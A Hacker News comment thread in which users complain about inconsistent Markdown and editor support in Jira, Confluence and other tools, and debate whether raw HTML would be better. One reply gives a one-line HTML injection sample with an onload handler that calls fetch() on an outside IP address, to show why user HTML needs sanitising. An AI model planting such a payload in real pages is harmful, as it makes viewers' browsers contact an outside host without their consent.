Hacker News Reader

Comment by vailripper | Hacker News Reader

Sounds like Atlassians approach with Jira - "it supports markdown, except when it doesn't!"

All I want is consistent syntax for links, italics, and bulleted lists, bonus points for numbered lists, bold, and code blocks. I don't want to have to click stuff when typing, and I don't want to remember keyboard shortcuts with subtle differences between different services.

Markdown is good enough, yet for some reason, each platform finds it necessary to do something slightly differently. I really don't care about a WYSIWIG editor, as long as I can use straight text if I want. Basically, I want Reddit comments in instant messaging and bug trackers.

That plus a nice table syntax. So many times I need to put a table in a jira comment or chat, but not often enough to remember how for the particular context.

markdown allows arbitrary html. just paste in <table>. At least in my experience all table format miss something that makes my tables illegable

I _so badly_ want Jira and Confluence to support just plain old markdown. Their editor is a nightmare; every programmer where I work hates it but all of management seems to love it.

Confluence used to have it. Or a similar syntax at least. They went WYSIWYG around 2010 or so. It was a dark day; I still remember the plaintive cries echoing from engineer cubes (we had whole cubes back then!).

The new Confluence they are rolling out is pretty good at converting Markdown to WYSIWYG on the fly. Not without glitches, of course, but I'm thoroughly impressed.

Preach it.

It seems every text input box across the product line has a different input method: BB, Jira, and Confluence. You'd think they might standardize with one to be less user hostile.

Jira still has two different WYSIWYG implementations on different pages. On the "classic" issue form, you still enter `{code}this is code{code}`, but if you open that issue in the sidebar of the backlog page, it's Markdown.

Oh man, this issue is particularly insidious for my work flow. Like... Why the hell isn't it consistent even across pages within the same project?!?

Luckily I don't have.to use it anymore. It's 2+ years, but my memory wants to tell me that I hated it, because Confluence worked differently than JIRA.

We are using Gitlab now. It's much more limited than JIRA, but for what it does much more coder friendly.

On the topic of the text box, gitlab saves the content if I start typing, get distracted, go somewhere else and come back later. That's handy. Unfortunately there is some inconsistency that it doesn't work everwhere, was it so that in Wiki pages it didn't work?

Not to even mention the annoying one-click-to-edit fields that lose your scroll position in the ticket and you cannot escape away. I'm furious every time this happens.

This is my experience as well. Moving over to their new editor has left the markdown support in limbo between different views. I.e it varies between the view when creating an issue, editing an issue and commenting on an issue.. It's really infuriating. I asked them about it on Twitter and it's apparently a work in progress?

why atlassian is so successful with management but not with people who actually use their product is a great unsolved mystery.

Doesn’t Jira use textile? Or has that changed?

> it supports markdown, except when it doesn't!

So, markdown?

Every website has its own flavor of it. Just reading some of the answers around here you can read "to do markdown better we made our own markdown".

Maybe because it is shitty. Just let users use HTML.

<b onload="fetch('//191.256.167.3/track');">Great idea!</b>

It can be sanitized before saving. Many libraries for that.

It can, but dealing with raw html, so white / black listing html tags is incredibly difficult and error prone.

I think it'd require whole team that'd maintain that and a lot of tests on different browsers cuz browsers try to "fix" html and it may vary between them, meanwhile it may lead to some bugs(probably)

I'd suggest to try stay away from html as hard as you can and use those cool *down parsers instead :P

Reply on news.ycombinator.com